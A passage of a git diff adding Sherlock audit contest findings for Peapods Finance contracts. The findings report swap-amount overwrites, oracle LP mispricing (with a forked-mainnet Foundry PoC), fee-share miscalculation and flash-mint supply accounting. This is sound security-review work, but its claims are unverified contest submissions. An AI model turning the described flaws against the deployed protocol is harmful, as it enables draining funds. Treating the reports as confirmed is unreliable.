+
+User Adds More Tokens:
+User stakes 50 more tokens.
+The existing 100 tokens now inherit the 14-day lockup, even though they were initially staked under a 7-day period.
+
+### Mitigation
+
+Modify the contract to store a separate lockup period for each stake instead of overriding it globally.
\ No newline at end of file
diff --git a/538.md b/538.md
new file mode 100644
index 0000000..bd94efc
--- /dev/null
+++ b/538.md
@@ -0,0 +1,91 @@
+Bent Beige Dachshund
+
+High
+
+# `_amountIn` is overwriten if the `DEX_ADAPTER.swapV3Single()` fails
+
+### Summary
+
+`_amountIn` is overwritten if the `DEX_ADAPTER.swapV3Single()` fails thus leaving some of the `_amountIn` as `PAIRED_LP_TOKEN` unaccounted for in the `TokenRewards` contract instead of swapping it for reward token.
+
+### Root Cause
+
+When swapping from `PAIRED_LP_TOKEN` to reward tokens, if the swap fails, then the swap amount is cached in the `_rewardsSwapAmountInOverride` variable pending the next time rewards are accrued.
+
+```solidity
+
+File: TokenRewards.sol
+292: function _swapForRewards(uint256 _amountIn, uint256 _amountOut, uint256 _adminAmt) internal {
+293: if (_rewardsSwapAmountInOverride > 0) {
+294: _adminAmt = (_adminAmt * _rewardsSwapAmountInOverride) / _amountIn;
+295: _amountOut = (_amountOut * _rewardsSwapAmountInOverride) / _amountIn;
+296: @> _amountIn = _rewardsSwapAmountInOverride;
+297: }
+298: uint256 _balBefore = IERC20(rewardsToken).balanceOf(address(this));
+299: IERC20(PAIRED_LP_TOKEN).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+300: @> try DEX_ADAPTER.swapV3Single(
+301: PAIRED_LP_TOKEN,
+302: rewardsToken,
+303: REWARDS_POOL_FEE,
+304: _amountIn,
+305: _amountIn == REWARDS_SWAP_OVERRIDE_MIN ? 0 : (_amountOut * (1000 - REWARDS_SWAP_SLIPPAGE)) / 1000,
+306: address(this)
+307: ) {
+308: _rewardsSwapAmountInOverride = 0;
+309: if (_adminAmt > 0) {
+310: _processAdminFee(_adminAmt);
+311: }
+312: _depositRewards(rewardsToken, IERC20(rewardsToken).balanceOf(address(this)) - _balBefore);
+313: } catch {
+314:@> _rewardsSwapAmountInOverride =
+315: _amountIn / 2 < REWARDS_SWAP_OVERRIDE_MIN ? REWARDS_SWAP_OVERRIDE_MIN : _amountIn / 2;
+316: IERC20(PAIRED_LP_TOKEN).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+317: emit RewardSwapError(_amountIn);
+318: }
+319: }
+
+```
+
+The problem is that if ` try DEX_ADAPTER.swapV3Single(...)` fails, and the `_amountIn` is cached in the `_rewardsSwapAmountInOverride` variable, the next time amount of `_swapForRewards()` is called in the execution flow, `_amountIn` will be overwritten to the previous `_amountIn` than could not be swapped instead of adding it to the current `_amountIn`.
+
+Note also that the _adminAmt` is also overwritten as it will now be calculated based off of the cached value.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L296
+
+### Internal Pre-conditions
+
+NIL
+
+### External Pre-conditions
+
+`try DEX_ADAPTER.swapV3Single()` fails and is called another time when rewards are being accrued
+
+### Attack Path
+
+- `_amountIn`is overwritten by `_rewardsSwapAmountInOverride` when rewards are being accrued if the swap fails the `_amountIn` is cached
+- the swap is done again during another accrual round
+- instead of increasing the `_amountIn` by the previous amount that was cached in`_amountIn`, the `_amountIn` is over written to the previous `_rewardsSwapAmountInOverride`.
+
+### Impact
+
+This can lead to loss of funds as the full `PAIRED_LP_TOKEN` will not be swapped to reward token and as such will be stuck in the `TokenRewards` contract without a way to retrieve it.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Modify the `TokenRewards::_swapForRewards()` function as shown below
+
+```diff
+File: TokenRewards.sol
+292: function _swapForRewards(uint256 _amountIn, uint256 _amountOut, uint256 _adminAmt) internal {
+293: if (_rewardsSwapAmountInOverride > 0) {
+294: _adminAmt = (_adminAmt * _rewardsSwapAmountInOverride) / _amountIn;
+295: _amountOut = (_amountOut * _rewardsSwapAmountInOverride) / _amountIn;
+-296: _amountIn = _rewardsSwapAmountInOverride;
++296: _amountIn = _rewardsSwapAmountInOverride + _amountIn;
+297: }
+
+```
\ No newline at end of file
diff --git a/539.md b/539.md
new file mode 100644
index 0000000..384485e
--- /dev/null
+++ b/539.md
@@ -0,0 +1,272 @@
+Perfect Porcelain Snail
+
+High
+
+# Incorrect LP token price conversion in spTKNMinimalOracle
+
+### Summary
+
+There are two root causes behind the incorrect conversion logic in `_calculateSpTknPerBase()`, which results in an inaccurate LP token price when the paired asset is a Fraxlend pair or a pod.
+Firstly, according to the documentation, the pTKN must be priced in the pairedAsset of the pod (pPairedAsset or fPairedAsset). In the actual implementation it's not done.
+Secondly, the conversion of spTKN from a price denominated in pPairedAsset or fPairedAsset to a price denominated in the underlying asset of the lending pair or pod is performed in the wrong place.
+These miscalculations causes the protocol to overvalue collateral, enabling borrowers to obtain excessive assets.
+
+### Root Cause
+
+1. **pTKN price not adjusted to his`fPairedAsset` or `pPairedAsset `**
+
+From [doc](https://docs.google.com/document/d/1Z-T_07QpJlqXlbBSiC_YverKFfu-gcSkOBzU1icMRkM/edit?pli=1&tab=t.0#heading=h.s5tvb0tbnsvq)
+
+> We need pTKN priced in the PairedAsset of the pod.
+
+> Typically the debt token of the lending pair and the paired asset of the Pod LP are the same. Therefore all pricing feeds (pTKN, spTKN) should be denominated in the PairedAsset.
+
+> However for self-lending pods, the denominators are not the same. pTKN needs to be denominated in fPairedAsset (frax supply receipt including interest)
+
+
+For exemple the pod pPEAS (underlying is dai) with paired Asset fDai:
+[_calculateBasePerPTkn](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L170) will be calculate like DAI/PTKN through `_getDefaultPrice18`
+
+```Solidity
+function _calculateBasePerPTkn(uint256 _price18) internal view returns (uint256 _basePerPTkn18) {
+ // pull from UniV3 TWAP if passed as 0
+ if (_price18 == 0) {
+ bool _isBadData;
+ (_isBadData, _price18) = _getDefaultPrice18();
+ if (_isBadData) {
+ return 0;
+ }
+ }
+ _basePerPTkn18 = _accountForCBRInPrice(pod, underlyingTkn, _price18);
+
+ // adjust current price for spTKN pod unwrap fee, which will end up making the end price
+ // (spTKN per base) higher, meaning it will take more spTKN to equal the value
+ // of base token. This will more accurately ensure healthy LTVs when lending since
+ // a liquidation path will need to account for unwrap fees
+ _basePerPTkn18 = _accountForUnwrapFeeInPrice(pod, _basePerPTkn18);
+ }
+```
+
+
+In anycase there is the conversion DAI/PTKN to FDAI/PTKN leading to the first root cause.
+
+The first step is to calculate the amount of `fPairedAsset` or `pPairedAsset ` inside the LP `spTkn` -> represented by [`_basePerSpTkn18`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L170).
+The `spTkn` is composed of `fPairedAsset` or `pPairedAsset` **AND** `pTKN`, so we just need to calculate `_priceBasePerPTkn18` in order to calculate the `_basePerSpTkn18`.
+Compared to [`getConversionFactor`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/ConversionFactorSPTKN.sol#L29C14-L29C33) where it was needed to convert both tokens of the lp to `PEAS`.
+You can also refered to this article [Pricing LP tokens](https://cmichel.io/pricing-lp-tokens/) by [cmichel](https://cmichel.io/) and this other article [Fair Uniswap's LP Token Pricing](https://blog.alphaventuredao.io/fair-lp-token-pricing/) to check how to calculate the LP token price.
+
+
+2. **Incorrect conversion of spTkn price to underlying asset of `fPairedAsset` or `pPairedAsset `**
+
+From [aspTkn Oracle documentation](https://docs.google.com/document/d/1Z-T_07QpJlqXlbBSiC_YverKFfu-gcSkOBzU1icMRkM/edit?pli=1&tab=t.0#heading=h.s5tvb0tbnsvq)
+
+> We typically assume that the Pod LP pairing asset is the same as that which is supplied to the lending pair - however this is not the case for self-lending pods. Therefore, if self-lending pod, the pTKN is priced in fPariedAsset, so the spTKN pricing result is naturally denominated in fPairedAsset and must be adjusted back to be priced in PairedAsset. This is because the debt is denominated in the lending pair. If not, the spTKN will be underpriced and thus could be liquidated from interest.
+
+This section is implemented at [#L163](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L163C1-L167C10)
+
+```Solidity
+// if the base asset is a pod, we will assume that the CL/chainlink pool(s) are
+ // pricing the underlying asset of the base asset pod, and therefore we will
+ // adjust the output price by CBR and unwrap fee for this pod for more accuracy and
+ // better handling accounting for liquidation path
+ if (BASE_IS_POD) {
+ _spTknBasePrice18 = _checkAndHandleBaseTokenPodConfig(_spTknBasePrice18);
+ } else if (BASE_IS_FRAX_PAIR) {
+ _spTknBasePrice18 = IFraxlendPair(BASE_TOKEN).convertToAssets(_spTknBasePrice18);
+ }
+```
+
+If we take our example the pod pPEAS (underlying is dai) with paired Asset fDai:
+
+The problem is that we are `convertToAssets()` the price `spTkn/fdai` represented by `_spTknBasePrice18` instead of converted the price `fdai/spTkn` represented by `_basePerSpTkn18`.
+
+We need to put **the amount of shares (pPairedAsset or fPairedAsset) of the LP** inside `convertToAssets()`, however we are putting **the number of `spTkn` per `fPairedAsset` or `pPairedAsset `**. It makes nonsense :
+
+`convertToAssets()` is just the operation : `shares * totalAsset / totalSupply `
+`fPairedAssetCBR` from [aspTkn Oracle documentation](https://docs.google.com/document/d/1Z-T_07QpJlqXlbBSiC_YverKFfu-gcSkOBzU1icMRkM/edit?pli=1&tab=t.0#heading=h.s5tvb0tbnsvq) represents ` totalAsset / totalSupply `
+` shares ` is represented by `_spTknBasePrice18` on the current implementation
+
+
+- **What should be done:**
+ 1. Compute a temporary value:
+ $$z = basePerSpTkn18 \times fPairedAssetCBR$$
+ 2. Then take its reciprocal:
+ $$spTknBasePrice18 = \frac{1}{z} = \frac{1}{basePerSpTkn18 \times fPairedAssetCBR}$$
+
+- **Current implementation:**
+ Here, you already have:
+ $$spTknBasePrice18 = \frac{1}{basePerSpTkn18}$$
+ \]
+ so the formula becomes:
+ $$spTknBasePrice18 = spTknBasePrice18 \times fPairedAssetCBR = \left(\frac{1}{basePerSpTkn18}\right) \times fPairedAssetCBR = \frac{fPairedAssetCBR}{basePerSpTkn18}$$
+
+**Numeric Example**
+
+To illustrate with a specific number, suppose:
+- $$basePerSpTkn18 = 100$$
+- $$fPairedAssetCBR = 1.1$$
+- $$spTknBasePrice18 = \frac{1}{100} = 0.01$$ for the current implementation
+
+**Using Formula 1:**
+$$z = 100 \times 1.1 = 110 \quad \text{and} \quad \text{spTknBasePrice18 } = \frac{1}{110} = \approx 0.00909$$
+
+**Using Formula 2:**
+$$\text{spTknBasePrice18 } = spTknBasePrice18 \times fPairedAssetCBR = 0.01 \times 1.1 = 0.011$$
+
+As illustrated by the numeric example:
+ - If $$basePerSpTkn18 = 100$$ and $$\text{fPairedAssetCBR} = 1.1$$, then the intended result is approximately $$0.00909$$ but the current implementation yields $$0.011$$, leading to a significant overpricing.
+
+### Internal Pre-conditions
+
+1. `BASE_IS_POD` or `BASE_IS_FRAX_PAIR` is true.
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. Each time `getPrices()` will be used, the value will be **more** that it should be
+
+### Impact
+
+[`getPrices()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L113C14-L113C23) will return an incorrect price (higher than it should be), which directly affects the exchange rate computed in [`_updateExchangeRate()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L524C14-L524C33). As a result, the protocol will overvalue collateral, allowing users to borrow more assets than their collateral actually warrants.
+This mispricing may lead the protocol to lend out excessive amounts, potentially driving the system into under collateralization. In a worst-case scenario, this vulnerability could trigger significant losses for both the protocol and its users, potentially paving the way for a bank run or forced liquidations.
+
+### PoC
+
+The following PoC derives from [LivePOC.t.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/test/helpers/LivePOC.t.sol)) with some modification in order to be able to execute the test.
+
+```sh
+ forge test -vv --match-path test/oracle/poc_wrong_price_calculation_lp.t.sol --fork-url https://rpc.mevblocker.io
+```
+
+- [LivePOCFix.t.sol.txt](https://github.com/user-attachments/files/18826529/LivePOCFix.t.sol.txt)
+- [FraxlendPairCore.sol.txt](https://github.com/user-attachments/files/18826563/FraxlendPairCore.sol.txt)
+- [aspTKNMinimalOracleFix.sol.txt](https://github.com/user-attachments/files/18826599/aspTKNMinimalOracleFix.sol.txt)
+- [spTKNMinimalOracleFix.sol.txt](https://github.com/user-attachments/files/18826604/spTKNMinimalOracleFix.sol.txt)
+- [aspTKNMinimalOracleRecommanded.sol.txt](https://github.com/user-attachments/files/18826617/aspTKNMinimalOracleRecommanded.sol.txt)
+- [spTKNMinimalOracleRecommanded.sol.txt](https://github.com/user-attachments/files/18826628/spTKNMinimalOracleRecommanded.sol.txt)
+- [poc_wrong_price_calculation_lp.t.sol.txt](https://github.com/user-attachments/files/18826912/poc_wrong_price_calculation_lp.t.sol.txt)
+
+
+
+**Context**:
+- `LivePOCFix.sol` use the setup of LivePOC with some modification (initiate real oracle) and logs, file inside `/test/helpers`
+- `FraxlendPairCore`, file inside `/test/invariant/modules`, comment `L168` in order to not revert when deploying
+- `aspTKNMinimalOracleFix.sol` and `spTKNMinimalOracleFix.sol` is the actual implementation with `console.logs()` and fix bugs when deploying, files inside `/contract/oracle`. Check audit note for the modifs
+- `aspTKNMinimalOracleRecommanded.sol` and `spTKNMinimalOracleRecommanded.sol` is the recommended implementation with `console.logs()` . Check audit note.
+- Pod used is `pPeas`, underlyng asset is `PEAS` and `pairedAsset` is `fDAI`
+- Underlying of `fDA`I is `DAI`
+- Check the logs in order to see the results
+- `poc_wrong_price_calculation_lp.t.sol``, file inside `/test/oracle`
+- Explanation of `theoricDiff` : [poe link](https://poe.com/s/nhIpjVOie6H5wL4iRNSF)
+ - `x` represent `fPairedAssetCBR`
+ - `L` represent `the LP totalSupply`
+ - `p0` = 1 as this the the `fPairedAsset`
+ - `p1` = `_priceBasePerPTkn18 ` as it represents price of `pTkn` in `fPairedAsset`
+
+```Solidity
+function test_wrong_price_calculation() public {
+
+ uint256 positionId;
+ positionId = addLeverage();
+
+ uint256 factor = 1e18;
+
+ uint256 amountSharesBefore = selfLendingPair.toAssetAmount(factor, false, true);
+
+ // Fast forward a year - Interest of fDAI as increased a lot - Allow to see the difference
+ vm.warp(block.timestamp + 100 days);
+
+ uint256 amountSharesAfter = selfLendingPair.toAssetAmount(factor, false, true);
+
+ console.log("amountSharesBefore : %s", amountSharesBefore);
+ console.log("amountSharesAfter : %s", amountSharesAfter);
+ console.log("asset interest : %s", (amountSharesAfter - amountSharesBefore));
+
+
+ uint256 _priceLow;
+ uint256 _priceHigh;
+ (, _priceLow, _priceHigh) = oracle.getPrices();
+ console.log("[ORACLE] _priceLow : %s , _priceHigh: %s", _priceLow, _priceHigh);
+
+
+ bytes memory _requiredImmutablesRecommanded= abi.encode(
+ address(_clOracle), address(_uniOracle), address(_diaOracle), address(selfLendingPair), false, true, selfLendingPod.lpStakingPool(), peasClPool
+ );
+
+ _v2Res = new V2ReservesUniswap();
+ bytes memory _optionalImmutablesRecommanded = abi.encode(address(0), address(0), address(0), address(0), address(0), address(_v2Res));
+
+
+ aspTKNMinimalOracleRecommanded oracleRecommanded = new aspTKNMinimalOracleRecommanded(address(selfLending_aspTkn), _requiredImmutablesRecommanded, _optionalImmutablesRecommanded);
+ uint256 _priceLowRecommanded;
+ uint256 _priceHighRecommanded;
+ (, _priceLowRecommanded, _priceHighRecommanded) = oracleRecommanded.getPrices();
+
+ console.log("[ORACLE RECOMMANDED] _priceLowRecommanded : %s , _priceHighRecommanded: %s", _priceLowRecommanded, _priceHighRecommanded);
+
+ uint256 diff = _priceLow - _priceLowRecommanded;
+ console.log("diff between _priceLow and _priceLowRecommanded: %s", diff);
+
+ // Calculate the theoric difference between actual implementation and recommanded implementation
+ // Implementation from https://poe.com/s/nhIpjVOie6H5wL4iRNSF
+
+ address _pair = IStakingPoolToken(selfLendingPod.lpStakingPool()).stakingToken();
+ (uint112 _reserve0, uint112 _reserve1) = _v2Res.getReserves(_pair);
+
+ uint256 theoricDiff;
+ {
+ uint256 _k = uint256(_reserve0) * _reserve1;
+ uint256 _kDec = 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token0()).decimals()
+ * 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token1()).decimals();
+ console.log("_kDec : %s", _kDec);
+ uint256 L = IERC20(_pair).totalSupply();
+ uint256 L_DECIMALS = IERC20Metadata(_pair).decimals();
+
+ uint256 p1 = 1e18; // fPairedAsset
+ console.log("p1 : %s", p1);
+ uint256 p0 = 10 ** (18 * 2) / oracle.getPodPerBasePrice(); // price of pTkn in terms of fPairedAsset
+ console.log("p0 : %s", p0);
+
+ uint256 x = selfLendingPair.toAssetAmount(1e18, false, true); // `x` represent `fPairedAssetCBR`
+ console.log("x : %s", x);
+ console.log("_sqrt(x) : %s", _sqrt(x));
+ console.log("( ( _sqrt(x) * 10 ** ((18/2))) : %s", ( _sqrt(x) * 10 ** ((18/2)))); // correct precision scaling
+ uint256 invert_sqrt = ( 10**((18)*2) / ( _sqrt(x) * 10 ** ((18/2))));
+ console.log(" invert_sqrt : %s",invert_sqrt ) ;
+ uint256 right_operation = x - invert_sqrt ;
+ console.log("right_operation : %s", right_operation);
+
+
+ uint256 left_operation_1 = Math.mulDiv(p1, p0, 1e18, Math.Rounding.Floor);
+ console.log("left_operation_1 : %s", left_operation_1);
+ uint256 left_operation_2 = Math.mulDiv(left_operation_1, _k, _kDec, Math.Rounding.Floor);
+ console.log("left_operation_2 : %s", left_operation_2);
+ uint256 left_operation = _sqrt(left_operation_2) * 10 ** (18 / 2);
+ console.log("left_operation : %s", left_operation);
+
+ uint256 final_left_operation = L * 1e18 / ( 2 * left_operation );
+ console.log("final_left_operation : %s", final_left_operation);
+ theoricDiff = final_left_operation * right_operation / 10**18;
+ console.log("theoricDiff : %s", theoricDiff);
+
+ }
+ console.log("Diff between 'diff between _priceLow and _priceLowRecommanded' and 'theoric difference' : %s", diff - theoricDiff );
+ assertApproxEqAbs(diff, theoricDiff, 1e10); // pretty small difference
+ }
+```
+**logs output** : [logs_output.txt](https://github.com/user-attachments/files/18826922/logs_output.txt)
+
+```txt
+ [ORACLE] _priceLow : 363703846172108856 , _priceHigh: 363703846172108856
+[ORACLE RECOMMANDED] _priceLowRecommanded : 164478849688982941 , _priceHighRecommanded: 164478849688982941
+diff between _priceLow and _priceLowRecommanded: 199224996483125915
+theoricDiff : 199224996385803850
+ Diff between 'diff between _priceLow and _priceLowRecommanded' and 'theoric difference' : 97322065
+
+```
+### Mitigation
+
+File `spTKNMinimalOracleRecommanded.sol` may be used as inspiration for implementing the correction.
\ No newline at end of file
diff --git a/540.md b/540.md
new file mode 100644
index 0000000..7891335
--- /dev/null
+++ b/540.md
@@ -0,0 +1,55 @@
+Sneaky Zinc Narwhal
+
+High
+
+# wrong calculation when converting the fee amount into share
+
+### Summary
+
+In the contract **FraxlendPairCore**, in the function **_calculateInterest** on line 424, when calculating **_results.feesShare**, we are using the total assets of both the internal and external assets:
+```solidity
+_results.feesShare = (_results.feesAmount * _results.totalAsset.shares)
+ / (_results.totalAsset.totalAmount(address(0)) - _results.feesAmount);
+```
+By passing the address zero to _results.totalAsset.totalAmount(address(0)), we are including both the internal asset and the external vault to convert the fee amount into shares. However, the issue arises because most of the deposit functions use VaultAccount.toShares to calculate shares, and this function only utilizes the internal assets:
+```solidity
+if (total.amount == 0) {
+ shares = amount;
+} else {
+ shares = (amount * total.shares) / total.amount;
+ if (roundUp && (shares * total.amount) / total.shares < amount) {
+ shares = shares + 1;
+ }
+}
+```
+As a result of these two different calculations for shares, **_results.feesShare** is calculated incorrectly.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L424
+
+### Root Cause
+
+in **FraxlendPairCore** line 425 we are dividing it with both the external and internal asset amount to calculate the share instead of only the internal
+
+### Internal Pre-conditions
+
+nothing
+
+### External Pre-conditions
+
+nothing
+
+### Attack Path
+
+nothing
+
+### Impact
+
+loss of fund for the protocol as it is receiving a small amount of share due to the wrong calculation
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/541.md b/541.md
new file mode 100644
index 0000000..410782f
--- /dev/null
+++ b/541.md
@@ -0,0 +1,58 @@
+Passive Leather Beaver
+
+Medium
+
+# Removing leverage will be failed due to the rounding down in share calculation
+
+### Summary
+
+In `_acquireBorrowTokenForRepayment` function, some pod tokens are swapped to `borrowToken`.
+In case of `_isPodSelfLending`, due to the share calculation with rounding down, removing leverage is failed with reverted flash loan.
+
+### Root Cause
+
+In [`_addLeveragePostCallback`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L435-L446) function, the share amount corresponding to `_borrowAmtNeededToSwap` is calculated with rounding down.
+Therefore, the amount of `borrowToken` returned by `FraxlendPair.redeem` function may be smaller than `_borrowAmtNeededToSwap`.
+
+```solidity
+ function convertToShares(uint256 _assets) external view returns (uint256 _shares) {
+ _shares = toAssetShares(_assets, false, true);
+ }
+
+ function toAssetShares(uint256 _amount, bool _roundUp, bool _previewInterest)
+ public
+ view
+ returns (uint256 _shares)
+ {
+ if (_previewInterest) {
+ (,,,, VaultAccount memory _totalAsset,) = previewAddInterest();
+ _shares = _totalAsset.toShares(_amount, _roundUp);
+ } else {
+ _shares = totalAsset.toShares(_amount, _roundUp);
+ }
+ }
+```
+
+### Internal Pre-conditions
+
+_isPodSelfLending
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Removing leverage will be failed due the lack of `borrowToken` for flash loan.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+In case of `_isPodSelfLending`, use rounding up in calculation of share amount.
\ No newline at end of file
diff --git a/542.md b/542.md
new file mode 100644
index 0000000..a8d38c2
--- /dev/null
+++ b/542.md
@@ -0,0 +1,98 @@
+Nutty Spruce Octopus
+
+Medium
+
+# Flash minter will create accounting inconsistencies in internal supply tracking
+
+### Summary
+Incorrect total supply tracking in flash mint operations will cause a discrepancy in token accounting for the Peapods protocol as users can exploit the flash mint function to manipulate the total supply when transfer tax is enabled.
+
+### Root Cause
+In the flash mint implementation, the incorrect handling of transfer tax during mint and burn operations creates a mismatch between actual token supply and tracked total supply.
+
+ When executing `_mint(_recipient, _amount)` function, when transfer tax is enabled, `super._update(_from, address(this), _fee);`, as `_from=address(0)`, `super._update` increases `$._totalSupply += value;` (not the one used in the project i.e. `_totalSupply`).
+
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ require(!_blacklist[_to], "BK");
+ bool _buy = _from == V2_POOL && _to != V2_ROUTER;//false
+ bool _sell = _to == V2_POOL;//false
+ uint256 _fee;
+ if (_swapping == 0 && _swapAndFeeOn == 1) { //default: _swapping == 0 && _swapAndFeeOn == 1
+ if (_from != V2_POOL) {
+ _processPreSwapFeesAndSwap();//_shortCircuitRewards == 1 return;
+ }
+ if (_buy && _fees.buy > 0) {//false
+ _fee = (_amount * _fees.buy) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (_sell && _fees.sell > 0) {//false
+ _fee = (_amount * _fees.sell) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);//audit: fee - burnFee => address(this); no increase in _totalSupply
+ }
+ }
+ _processBurnFee(_fee);
+ super._update(_from, _to, _amount - _fee);
+ }
+```
+[DecentralizedIndex._update](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L159-L159)
+
+This will result in _totalSupply not being equal to the sum of the balances of all accounts, because balanceOf(address(this)) will include the fee charged during flashMint.
+
+### Internal Pre-conditions
+1. Protocol admin needs to enable transfer tax by setting `_config.hasTransferTax` to true
+
+### External Pre-conditions
+None required - this is an internal protocol vulnerability.
+
+### Attack Path
+1. Attacker identifies that transfer tax is enabled
+2. The `flashMint` function is heavily used and generate a transfer fee that is not included in _totalSupply
+3A. User uses `bond` function which uses wrong total supply, so user gets less (depending on generated difference) [WeightedIndex.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/WeightedIndex.sol#L150-L150)
+4B. When calculating the partner's fee, the actual balance of the contract is used (balanceOf(address(this)), which can be changed using `debond`, which function uses the reduced `_totalSupply` so that the partner gets more.
+
+```solidity
+ /// @notice The ```_processPreSwapFeesAndSwap``` function processes fees that could be pending for a pod
+ function _processPreSwapFeesAndSwap() internal {
+ if (_shortCircuitRewards == 1) {
+ return;
+ }
+ bool _passesSwapDelay = block.timestamp > _lastSwap + SWAP_DELAY;
+ if (!_passesSwapDelay) {
+ return;
+ }
+>>> uint256 _bal = balanceOf(address(this));
+ if (_bal == 0) {
+ return;
+ }
+ uint256 _lpBal = balanceOf(V2_POOL);
+ uint256 _min = block.chainid == 1 ? _lpBal / 1000 : _lpBal / 4000; // 0.1%/0.025% LP bal
+ uint256 _max = _lpBal / 100; // 1%
+ if (_bal >= _min && _lpBal > 0) {
+ _swapping = 1;
+ _lastSwap = uint64(block.timestamp);
+ uint256 _totalAmt = _bal > _max ? _max : _bal;
+ uint256 _partnerAmt;
+ if (_fees.partner > 0 && _config.partner != address(0) && !_blacklist[_config.partner]) {
+ _partnerAmt = (_totalAmt * _fees.partner) / DEN;
+>>> super._update(address(this), _config.partner, _partnerAmt);
+ }
+ _feeSwap(_totalAmt - _partnerAmt);
+ _swapping = 0;
+ }
+ }
+```
+[DecentralizedIndex._processPreSwapFeesAndSwap](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L193-L193)
+
+### Impact
+The protocol suffers from incorrect token supply accounting, which affects:
+1. Bond / debond pricing calculations that rely on `_totalSupply`
+2. Fee distribution calculations using `balanceOf(address(this))`
+3. The discrepancy between actual circulating supply and `_totalSupply` grows with each flash mint
+
+### Mitigation
+1. Disabling the fee using the `noSwapOrFee` modifier as in other system functions
+2. Correction in calculating the fee in total supply
\ No newline at end of file
diff --git a/543.md b/543.md
new file mode 100644
index 0000000..bdf14ca
--- /dev/null
+++ b/543.md
@@ -0,0 +1,69 @@
+Huge Cyan Cod
+
+Medium
+
+# Self Lending Pods with `hasSelfLendingPod` is equal to true is not correctly setted up
+
+### Summary
+
+Self Lending Pods with `hasSelfLendingPod` is equal to true is not correctly setted up
+
+### Root Cause
+
+In [Leverage Factory](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageFactory.sol#L90), self lending pods can be created with 2 different version. `hasSelfLendingPod` = true and false. The difference between them in normal self lending pods, PAIRED_LP_TOKEN is equal to share token of lending pair. But in `hasSelfLendingPod` mode this share token is also podded again and it's handled in that way.
+
+We can understand that handling in `addLeverage` and `removeLeverage` functions.
+
+```solidity
+ function _processAndGetPairedTknAndAmt(
+ uint256 _positionId,
+ address _borrowedTkn,
+ uint256 _borrowedAmt,
+ bool _hasSelfLendingPairPod
+ ) internal returns (address _finalPairedTkn, uint256 _finalPairedAmt) {
+ _finalPairedTkn = _borrowedTkn;
+ _finalPairedAmt = _borrowedAmt;
+ address _lendingPair = positionProps[_positionId].lendingPair;
+ if (_isPodSelfLending(_positionId)) {
+ _finalPairedTkn = _lendingPair;
+ IERC20(_borrowedTkn).safeIncreaseAllowance(_lendingPair, _finalPairedAmt);
+ _finalPairedAmt = IFraxlendPair(_lendingPair).deposit(_finalPairedAmt, address(this));
+
+ // self lending+podded
+&> if (_hasSelfLendingPairPod) {
+ _finalPairedTkn = IDecentralizedIndex(positionProps[_positionId].pod).PAIRED_LP_TOKEN();
+ IERC20(_lendingPair).safeIncreaseAllowance(_finalPairedTkn, _finalPairedAmt);
+ IDecentralizedIndex(_finalPairedTkn).bond(_lendingPair, _finalPairedAmt, 0);
+ _finalPairedAmt = IERC20(_finalPairedTkn).balanceOf(address(this));
+ }
+ }
+ }
+```
+
+But in factory contract this setup is not handled. Instead, it directly sets the fraxlendpair share token to PAIRED_LP_TOKEN.
+
+In overall, `hasSelfLendingPod` will never work with that setup
+
+### Internal Pre-conditions
+
+No need
+
+### External Pre-conditions
+
+No need
+
+### Attack Path
+
+No need
+
+### Impact
+
+`hasSelfLendingPod` feature can't be used by the users because in setup it doesn't create another pod for fTKN. It sets fTKN to LP_PAIRED_TOKEN in pod contract.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+In setup function, also create another pod for fTKN and set that token to LP_PAIRED_TOKEN in `hasSelfLendingPod` = True situation
\ No newline at end of file
diff --git a/544.md b/544.md
new file mode 100644
index 0000000..3119626
--- /dev/null
+++ b/544.md
@@ -0,0 +1,217 @@
+Magic Fuchsia Guppy
+
+High
+
+# The `LendingAssetVault` will incorrectly account when cbr or vault is decreased
+
+### Summary
+
+The incorrect accounting in `LendingAssetVault.sol::_updateAssetMetadataFromVault` in the case of decreasing cbr will cause unexpected issues.
+
+The decrease in `cbr` of the vault may happen when the Fraxlend pair has a bad debt.
+
+
+### Root Cause
+
+The `LendingAssetVault.sol::_updateAssetMetadataFromVault` keeps the track of the vault shares evaluation in assets:
